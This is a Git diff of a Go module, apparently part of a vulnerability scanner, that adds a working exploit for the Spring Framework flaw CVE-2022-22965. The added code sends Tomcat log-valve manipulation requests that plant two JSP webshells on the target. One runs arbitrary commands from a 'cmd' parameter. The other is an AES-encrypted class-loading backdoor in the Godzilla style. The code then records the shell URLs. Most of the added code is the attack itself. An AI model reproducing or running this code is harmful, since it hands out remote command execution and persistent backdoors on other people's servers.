@@ -6,49 +6,112 @@ import (
66 "github.com/fatih/structs"
77 "github.com/imroc/req/v3"
88 log "github.com/sirupsen/logrus"
9+ "net/url"
10+ "time"
911)
1012
1113type CVE202222965 struct {}
1214
15+ const (
16+ body = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
17+ context = "%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
18+ //body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
19+ body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=G:\\ source\\ spring-framework-rce\\ target\\ spring_framework_rce-0.0.1-SNAPSHOT\\ &class.module.classLoader.resources.context.parent.pipeline.first.prefix="
20+ // 添加 shell 文件名
21+ body2 = "&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
22+ //behinder = "%25%7Bprefix%7Di%20%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%7Bsuffix%7Di%20%25%7Bprefix%7Di%20!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%25%7Bsuffix%7Di%25%7Bprefix%7Di%20if%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%22e45e329feb5d925b%22%3Bsession.putValue(%22u%22%2Ck)%3BCipher%20c%3DCipher.getInstance(%22AES%22)%3Bc.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3Bnew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%7D%25%7Bsuffix%7Di"
23+
24+ // 哥斯拉 pass key
25+ beichen = "%25%7Bprefix%7Di!%20String%20xc%3D%223c6e0b8a9c15224a%22%3B%20class%20X%20extends%20ClassLoader%7Bpublic%20X(ClassLoader%20z)%7Bsuper(z)%3B%7Dpublic%20Class%20Q(byte%5B%5D%20cb)%7Breturn%20super.defineClass(cb%2C%200%2C%20cb.length)%3B%7D%20%7Dpublic%20byte%5B%5D%20x(byte%5B%5D%20s%2Cboolean%20m)%7B%20try%7Bjavax.crypto.Cipher%20c%3Djavax.crypto.Cipher.getInstance(%22AES%22)%3Bc.init(m%3F1%3A2%2Cnew%20javax.crypto.spec.SecretKeySpec(xc.getBytes()%2C%22AES%22))%3Breturn%20c.doFinal(s)%3B%20%7Dcatch%20(Exception%20e)%7Breturn%20null%3B%20%7D%7D%25%7Bsuffix%7Di%25%7Bprefix%7Ditry%7Bbyte%5B%5D%20data%3Dnew%20byte%5BInteger.parseInt(request.getHeader(%22Content-Length%22))%5D%3Bjava.io.InputStream%20inputStream%3D%20request.getInputStream()%3Bint%20_num%3D0%3Bwhile%20((_num%2B%3DinputStream.read(data%2C_num%2Cdata.length))%3Cdata.length)%3Bdata%3Dx(data%2C%20false)%3Bif%20(session.getAttribute(%22payload%22)%3D%3Dnull)%7Bsession.setAttribute(%22payload%22%2Cnew%20X(this.getClass().getClassLoader()).Q(data))%3B%7Delse%7Brequest.setAttribute(%22parameters%22%2C%20data)%3BObject%20f%3D((Class)session.getAttribute(%22payload%22)).newInstance()%3Bjava.io.ByteArrayOutputStream%20arrOut%3Dnew%20java.io.ByteArrayOutputStream()%3Bf.equals(arrOut)%3Bf.equals(pageContext)%3Bf.toString()%3Bresponse.getOutputStream().write(x(arrOut.toByteArray()%2C%20true))%3B%7D%20%7Dcatch%20(Exception%20e)%7B%7D%25%7Bsuffix%7Di"
26+ file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
27+ pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
28+ )
29+
1330func (p CVE202222965 ) SendPoc (target string , hashmap map [string ]interface {}) {
31+ shellname := utils .GetCode (6 )
32+ time .Sleep (time .Second * 1 )
33+ shellname1 := utils .GetCode (8 )
34+ log .Debugf ("shellname: %s" , shellname )
35+ log .Debugf ("shellname1: %s" , shellname1 )
36+ payload1 := body + context + body1 + shellname + body2
37+ rebeyond := body + beichen + body1 + shellname1 + body2
1438 //TODO implement me
1539 log .Debugf ("[+] Running CVE202222965 poc" )
1640 reqinfo := req2 .NewReqInfo ()
1741 reqmap := structs .Map (reqinfo )
18- headers := map [string ]string {
19- "suffix" : "%>// " ,
20- "c1" : "Runtime" ,
21- "c2" : "<%" ,
42+ get_headers := map [string ]string {
43+ "suffix" : "%>" ,
44+ "c" : "Runtime" ,
45+ "prefix" : "<%" ,
2246 "User-Agent" : utils .GetUA (),
2347 }
24- reqmap ["url" ] = target
48+ post_get_headers := map [string ]string {
49+ "User-Agent" : utils .GetUA (),
50+ "Content-Type" : "application/x-www-form-urlencoded" ,
51+ }
2552
26- reqmap ["headers " ] = headers
53+ reqmap ["url " ] = target
2754
28- reqmap ["method" ] = "POST"
2955 // 默认配置
3056 reqmap ["timeout" ] = hashmap ["Timeout" ].(int )
3157 reqmap ["retry" ] = hashmap ["Retry" ].(int )
3258 reqmap ["proxy" ] = hashmap ["Proxy" ].(string )
3359 reqmap ["mode" ] = hashmap ["Mode" ].(int )
60+ f := 0
61+ for f < 2 {
62+ time .Sleep (time .Second * 1 )
63+ // 设置 payload
64+ reqmap ["method" ] = "POST"
65+ reqmap ["body" ] = file_date_data
66+ reqmap ["headers" ] = post_get_headers
67+ utils .Send (reqmap )
3468
35- // 发送请求
36- resp := utils .Send (reqmap )
37- p .CheckExp (resp , target , hashmap ["Out" ].(string ))
69+ if f == 0 {
70+ // 第二个请求
71+ //reqmap["body"] = payload1
72+ reqmap ["body" ] = rebeyond
73+ reqmap ["headers" ] = post_get_headers
3874
75+ } else {
76+ reqmap ["body" ] = payload1
77+ reqmap ["headers" ] = post_get_headers
78+ }
79+ utils .Send (reqmap )
80+ // Changes take some time to populate on tomcat
81+ time .Sleep (time .Second * 3 )
82+
83+ r , _ := url .Parse (target )
84+ log .Debugf ("[+] CVE202222965 poc success" )
85+ res := r .Scheme + "://" + r .Host + "/" + shellname + ".jsp" + "?cmd=whoami or" + r .Scheme + "://" + r .Host + "/" + shellname1 + ".jsp 哥斯拉 pass key "
86+ p .SaveResult (res , hashmap ["Out" ].(string ))
87+
88+ // 第三个请求
89+ reqmap ["method" ] = "GET"
90+ reqmap ["body" ] = ""
91+ reqmap ["headers" ] = get_headers
92+ utils .Send (reqmap )
93+
94+ time .Sleep (time .Second * 1 )
95+ reqmap ["body" ] = pattern_data
96+ reqmap ["method" ] = "POST"
97+ reqmap ["headers" ] = post_get_headers
98+ utils .Send (reqmap )
99+ f ++
100+ }
39101}
40102
41103func (p CVE202222965 ) SaveResult (target string , file string ) {
42- context := target + " 存在CVE-2022-22965漏洞\n "
43- err := utils .SaveToFile (context , file )
104+ err := utils .SaveToFile (target , file )
44105 if err != nil {
45106 log .Debugf ("[-] Save result failed" )
46107 log .Debugf (err .Error ())
47108 return
48109 }
49110}
50111
51- func (p CVE202222965 ) CheckExp (resp * req.Response , target string , file string ) bool {
52- //TODO implement me
53- panic ("implement me" )
112+ func (p CVE202222965 ) CheckExp (resp * req.Response , target string , hashmap map [string ]interface {}) bool {
113+ if resp .IsSuccess () {
114+ return true
115+ }
116+ return false
54117}
0 commit comments